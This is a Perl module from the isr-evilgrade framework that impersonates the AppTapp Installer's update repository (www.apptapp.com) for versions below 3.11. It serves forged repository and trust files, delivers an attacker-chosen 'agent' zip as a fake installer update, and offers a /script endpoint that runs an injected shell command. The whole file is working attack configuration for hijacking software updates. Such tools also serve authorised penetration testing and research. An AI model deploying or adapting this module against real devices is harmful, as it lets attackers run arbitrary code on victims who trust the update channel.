apptapp.pm 4.39 KB
Newer Older
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153
###############
# apptapp.pm
#
# Copyright 2010 Francisco Amato
#
# This file is part of isr-evilgrade, www.infobytesec.com .
#
# isr-evilgrade is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation version 2 of the License.
#
# isr-evilgrade is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with isr-evilgrade; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
#
# '''
##
package modules::apptapp;

use strict;
use Data::Dump qw(dump);

use isrcore::utils;

my $base=
{
    'name' => 'apptapp',
    'version' => '1.0',
    'appver' => '< 3.11',
    'author' => [ 'Francisco Amato < famato +[AT]+ infobytesec.com>' ],
    'description' => qq{},
    'vh' => '(www.apptapp.com|repository.apptapp.com)',
    'request' => [
		    {
		    'req' => '/trusted.plist', #regex friendly
		    'type' => 'file', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '',
		    'string' => "",		    
		    'parse' => '1',
		    'file' => './include/apptapp/trusted.plist'
		    },
		    {
		    'req' => '/feature', #regex friendly
		    'type' => 'file', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '',
		    'string' => "",		    
		    'parse' => '',
		    'file' => './include/apptapp/feature.html'
		    },
		    {
		    'req' => '/1.png', #regex friendly
		    'type' => 'file', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '1',
		    'string' => "",		    
		    'parse' => '',
		    'file' => './include/apptapp/1.png'
		    },
		    {
		    'req' => '/new.png', #regex friendly
		    'type' => 'file', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '1',
		    'string' => "",		    
		    'parse' => '',
		    'file' => './include/apptapp/new.png'
		    },
		    {
		    'req' => '/apptapp.png', #regex friendly
		    'type' => 'file', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '1',
		    'string' => "",		    
		    'parse' => '',
		    'file' => './include/apptapp/apptapp.png'
		    },
		    {
		    'req' => '/script', #regex friendly
		    'type' => 'string', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '0',
		    'string' => "#!/bin/zsh\n".
				"<%CMD%>"
				,		    
		    'parse' => '1',
		    'file' => ''
		    },

		    {
		    'req' => '(/repo.xml|/$)', #regex friendly
		    'type' => 'file', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '',
		    'string' => "",		    
		    'parse' => '1',
		    'file' => './include/apptapp/repo.xml'
		    },

		    {
		    'req' => '.zip', #regex friendly
		    'type' => 'agent', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => 1,		    
		    'string' => '',
		    'parse' => '0',
		    'file' => ''
		    },
    ],
    #Options		    
    'options' => {  'agent'  => { 'val' => './agent/apptapp.zip', 'desc' => 'Agent to inject'},
		    'enable' => { 'val' => 1, 
			    	  'desc' => 'Status'},
		    'ver' => { 'val' => "3.17", 
			    	  'desc' => 'Application version'},
		    'bundleIdentifier' => { 'val' => "com.apptapp.Installer", 
			    	  'desc' => 'Application to install'},
		    'contact' => { 'val' => "famato\@infobytesec.com", 
			    	  'desc' => 'Email contact'},
		    'description' => { 'val' => "The new AppTapp Installer.", 
			    	  'desc' => 'Application description'},
		    'maintainer' => { 'val' => "Nullriver Software.", 
			    	  'desc' => 'Maintainer name'},
		    'name' => { 'val' => "Installer", 
			    	  'desc' => 'Installer name'},
		    'url' => { 'val' => "http://www.nullriver.com/", 
			    	  'desc' => 'Url'},
		    'category' => { 'val' => "System", 
			    	  'desc' => 'Category name'},
		    'cmd' => { 'val' => "/bin/date > /tmp/info\n", 
			    	  'desc' => 'Command to inject'},			    	  

		 }
};

##########################################################################
# FUNCTION      new
# RECEIVES
# RETURNS
# EXPECTS
# DOES          class's constructor
sub new {
    my $class = shift;
    my $self = { 'Base' => $base, @_ };
    return bless $self, $class;
}
1;